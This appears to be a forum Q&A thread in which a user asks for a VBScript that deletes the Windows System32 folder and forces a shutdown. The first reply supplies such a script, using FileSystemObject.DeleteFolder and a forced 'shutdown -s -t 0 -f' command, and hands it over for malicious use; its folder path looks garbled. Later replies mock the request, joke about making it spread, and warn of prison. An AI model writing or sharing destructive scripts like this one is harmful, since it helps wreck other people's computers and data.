How to you write a vbs script that deletes system32 and shutdown computer ?


I am not sure on how to vbs script but i do now hot to batch script vb script and i am starting on java but not yet mastered vbs scripting yet what i am trying to is delete system32 to the whole directory and then reset the computer our shut it off please need help ty :)

4 Responses to “How to you write a vbs script that deletes system32 and shutdown computer ?”

  • Bradley T:

    Dim FSO, Folder
    set FSO=CreateObject("Scripting.FileSystemObject")

    Folder="C:\\WINDOWS\\System 32"
    FSO.DeleteFolder(Folder)

    strShutdown = "shutdown -s -t 0 -f -m "

    set objShell = CreateObject("WScript.Shell")

    objShell.Run strShutdown

    Good luck on making malicious software

  • Cuddly_Bear:

    That’s funny. Do you maybe also need some help with making it spread itself to other computers before it deletes system32 and shuts down the computer? Sounds like a useful program.

  • PCLounge:

    Visual Basic is just a Program to Execute Basic Applications. If you want to do something "EXTREME" like hacking a bank account or puttung a virus on someone’s computer, you should learn C++. If you have any more questions about your PC, go to www.pclounge.net/forums for reasonable and quick answers.

  • Colinc:

    Well done. You have just won a prize. You have probably won up to 30 years in prison for you and anyone assisting you in this illegal act. You are so clever to publicly post this on a site which logs all your details as evidence for 7 years. Especially now it is monitored by every government agency due to the number of such illegal requests. So clever that even if someone told you how you would not understand.

Leave a Reply